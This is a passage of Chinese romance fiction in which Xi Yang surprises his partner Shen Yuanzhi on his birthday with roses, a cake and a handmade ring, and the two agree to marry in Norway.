说完像是想到了什么,他从角落里拿出了一个包装很严实的袋子,将沈垣之扯到了一边递给了他:“生日快乐。”
沈垣之接过,朝他笑了笑:“谢谢。”
“去吧,”薄言大方地摆摆手:“去谈恋爱吧。”
沈垣之回头看了眼乖乖靠在门边的席殃,眼眸里的笑意更深了些。
将席殃扶到了副驾驶上,见他还装着醉,沈垣之轻轻拍了拍他的脸颊:“我数三秒你要是能忍住不笑,今天就让你好好享受一下。”
席殃闻言一下就睁开了眼,对上沈垣之的视线时,他绷紧了唇角,含糊道:“我醉了,听不懂你说什么。”
见沈垣之不说话,他又问:“真的假的?”
“真的。”沈垣之低笑道。
“那你数。”席殃绷紧了腰。
沈垣之眼眸一沉,手轻轻揉了一下他的腹部,似有略无地划过突出的腹肌,语气十分暧昧:“一块。”
席殃呼吸瞬间一重,后背都直了。
没等他数第二块,在沈垣之边摸着腹肌边亲上来的那刻,席殃就忍不住笑出了声。
忍着笑,沈垣之啧了声:“真没意思。”
“有意思,你再试一次。”席殃眼睛亮亮的:“我这次绝对不笑。”
沈垣之不理他,笑着坐上了驾驶座。
“我真的不笑了。”席殃耍无赖道:“再试一下。”
沈垣之看了他一眼:“这会儿不醉了?”
“不醉了。”席殃偏头看他,轻轻笑了笑:“想快点回家。”
沈垣之见状用手背贴了贴他发烫的脸颊,声音放轻了许多,“闭着眼休息一会儿。”
席殃蹭了蹭他的手心,声音低哑:“你不想知道快点回家做什么吗?”
沈垣之看了他一眼,没说话。
他大概猜到了。
虽然做好了心理准备,但推开家门的瞬间,沈垣之还是愣在了家门口。
黑漆漆的房间里只有壁灯亮着,而一束巨大的红玫瑰摆在客厅中央,与此同时旁边还有蛋糕,不大不小的,很精致很漂亮。
“生日快乐。”
沉默之际,身后的席殃抱了上来,他声音低哑:“宝宝生日快乐。”
回过神来的沈垣之轻轻嗯了声:“谢谢。”
两人抱了一会儿,沈垣之走向前去,他脱下外套,席殃接过,随后蹲在了花旁边,十分惊讶道:“这得有多少朵?”
席殃也蹲在他身边:“999朵。”
“好看。”沈垣之就喜欢花,他伸手将花揽在怀里,凑过去贴了贴,又朝席殃抬了下眸:“你下午就忙这个了?”
席殃笑着没说话。
“还有?”沈垣之四处张望。
“过来亲亲,”席殃指了指自己的唇,语气含着笑:“今天一天没亲了。”
沈垣之笑了一下:“早上我亲的是头猪。”
席殃闻言配合着皱了皱鼻子。
双目对视,沈垣之眼眸划过浅浅的笑意,凑过去很轻地亲了亲他。席殃眼眸一沉,加深了这个吻,二话不说将他抱了起来。
“我的花,”沈垣之扭过头,挣扎着大叫一声:“蛋糕也没吃。”
席殃很快凑了上来,含糊道:“先干正事。”
卧室里很快传来唇齿交融的声音,正事大概干了快一个小时,窗外不知何时又飘了细雨,应沈垣之的要求,席殃光着上半身将花和蛋糕抱进卧室时,被吓到的小咪正懒懒地蜷缩在地毯上。
他笑了笑,很快走进了卧室。
坐在床上的沈垣之眼睛正亮亮地看着他,席殃又忍不住凑过去亲了亲他,沈垣之心里开心,也很甜蜜,搂着席殃的脖子加深了这个吻。
“我还以为你不记得了。”他哼哼道。
席殃笑了笑:“记得的。”
“那你早上怎么不说?”
“我忍了好久。”语气一顿,席殃解释道:“本来想和你说的,可说了之后我就想一直和你黏在一起,就像现在这样,一晚上到明天都可以不分开。”
沈垣之不懂他奇奇怪怪地脑回路,偏过头轻轻亲了下,试图理解他:“不想甜蜜被打断?”
席殃点了点头。
替他点好了蜡烛。
烛火摇晃,沈垣之被席殃搂在了怀里,他闭上了眼,听着席殃轻声在他耳边唱着生日歌,他在心里许着愿,直到感受到无名指被什么东西圈住。
心猛然一颤,沈垣之睁开了眼。
入目是一款很闪着光的素戒,没等他仔细看,席殃包住了他的手,将沈垣之搂得更紧了些,他声音有些哑:“我自己磨的,有点粗糙。”
沈垣之闻言愣了一下,随后挣扎出来,戒指很合适,不像席殃说的粗糙,沈垣之觉得很好看,他很喜欢:“谢谢。”
席殃闻言笑了笑:“我才要谢谢你。”
沈垣之一愣。
没等沈垣之说话,席殃垂眸看他,语气很温柔:“谢谢你爱我。”
沈垣之抿着唇移开了视线,他看向窗外,声音很轻:“又下雨了。”席殃顺着望去:“是啊。”像是想到了什么,他低声笑道:“我记得你主动和我搭话的那次,也是下雨天。”
沈垣之嗯了声:“你当时可酷了。”
席殃将他搂紧了些:“现在不酷了?”
沈垣之闻言回头看他:“不酷了。”他语气一顿:“现在可爱。”
席殃抿着唇笑出了声。
沈垣之摸了摸他的手指,语气轻轻的:“你想要吗?”
席殃一愣。
“黎总不久前说要给我放假,”沈垣之噙着笑:“我有时间了,我们一起去挪威吧。”
“好啊。”席殃喉结一滚:“我都安排好了,带你去看看我的学校,生活的小镇,然后一起海钓,”他语气一顿,嗓子有些发紧:“去看看最大最美的教堂。”
沈垣之搂紧了他的脖子,眼眸里藏着深深的笑意:“去教堂干什么?”
席殃直勾勾地看着他:“结婚。”
话刚落音,沈垣之就低头亲了亲他:“好哦。”
席殃眼尾瞬间涌起一阵热意。
拥吻之际,怀里的人突然摸了摸他眼尾的湿润,在他耳边轻声道:“我也要谢谢你。”
“嗯?”
“谢谢你也爱我。”
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